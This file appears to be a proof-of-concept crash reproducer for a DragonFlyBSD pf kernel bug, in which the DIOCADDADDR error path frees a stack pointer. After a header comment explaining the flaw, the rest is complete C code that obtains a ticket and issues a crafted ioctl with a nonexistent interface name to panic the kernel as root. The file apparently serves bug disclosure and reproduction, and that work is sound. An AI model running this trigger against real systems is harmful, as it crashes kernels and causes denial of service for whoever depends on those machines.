DF-0276 / diocaddaddr_wrong_kfree.c
/* * DF-0276 - DIOCADDADDR error path frees the wrong pointer. * * pf_ioctl.c DIOCADDADDR (line ~2169): * pa = kmalloc(sizeof(struct pf_altq), M_PFPOOLADDRPL, ...); * bcopy(&pp->addr, pa, ...); * if (pa->ifname[0]) { * pa->kif = pfi_kif_get(pa->ifname); * if (pa->kif == NULL) { * kfree(ap, M_PFPOOLADDRPL); // <-- BUG: frees framework-owned * error = EINVAL; // dev_ioctl_args *ap, NOT pa * break; * } * * `ap` is the dev_ioctl_args pointer passed into pfioctl(struct dev_ioctl_args * *ap) at pf_ioctl.c:981 -- a pointer into the device framework's stack, NOT a * heap object. kfree() on a non-heap (stack) pointer corrupts slab allocator * metadata and/or panics. It also leaks the freshly-kmalloc'd `pa`. * * The correct sibling path at :2178 does `kfree(pa, M_PFPOOLADDRPL)`. * * Trigger: DIOCADDADDR with a valid ticket + a valid addr type but an ifname * that pfi_kif_get() cannot resolve (non-existent interface) -> kif == NULL * -> wrong-pointer kfree -> panic. * * /dev/pf is mode 0600 root:wheel, so this is a root->kernel corruption / DoS. * * Self-contained: no kernel headers required. The ioctl numbers and struct * field offsets were measured against struct pfioc_pooladdr on this kernel * (sizeof=1136). The ioctl dispatches on the cmd integer directly, and the * kernel reads the userspace buffer at the measured field offsets. * * Run as root: kldload pf && ./diocaddaddr_wrong_kfree */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <stdint.h> /* Measured on DragonFlyBSD master DEV (struct pfioc_pooladdr, sizeof=1136). */ #define PF_DIOCBEGINADDRS 0xc4704433u #define PF_DIOCADDADDR 0xc4704434u #define PF_ADDR_ADDRMASK 0 #define PP_SIZE 1136 #define OFF_TICKET 4 #define OFF_AF 18 #define OFF_ADDR_TYPE 1088 /* pp->addr.addr.type */ #define OFF_IFNAME 1112 /* pp->addr.ifname[16] */ int main(void) { int fd, rc; static unsigned char pp[PP_SIZE]; fd = open("/dev/pf", O_RDWR); if (fd < 0) { fprintf(stderr, "open /dev/pf: %s (is pf.ko loaded?)\n", strerror(errno)); return 2; } /* Step 1: DIOCBEGINADDRS to obtain a valid ticket. */ memset(pp, 0, sizeof(pp)); rc = ioctl(fd, PF_DIOCBEGINADDRS, pp); if (rc < 0) { fprintf(stderr, "DIOCBEGINADDRS: %s\n", strerror(errno)); return 3; } printf("[+] got ticket=%u\n", *(uint32_t *)(pp + OFF_TICKET)); uint32_t ticket = *(uint32_t *)(pp + OFF_TICKET); /* Step 2: DIOCADDADDR with valid addr type + bogus ifname so that * pfi_kif_get() returns NULL -> the buggy kfree(ap) error path. * NB: must carry the ticket obtained above (else EBUSY at the * ticket check). */ memset(pp, 0, sizeof(pp)); *(uint32_t *)(pp + OFF_TICKET) = ticket; *(uint8_t *)(pp + OFF_ADDR_TYPE) = PF_ADDR_ADDRMASK; /* passes type chk */ *(uint8_t *)(pp + OFF_AF) = AF_INET; strncpy((char *)(pp + OFF_IFNAME), "zznonexist0", 15); printf("[+] DIOCADDADDR bogus ifname -> expect kernel panic now\n"); fflush(stdout); rc = ioctl(fd, PF_DIOCADDADDR, pp); /* If execution reaches here the kfree(ap) path did NOT corrupt/panic: * bug absent or fixed. A reproduced bug panics inside the ioctl. */ printf("[+] DIOCADDADDR returned rc=%d errno=%d (%s) -- NO panic\n", rc, errno, strerror(errno)); close(fd); return 0; } |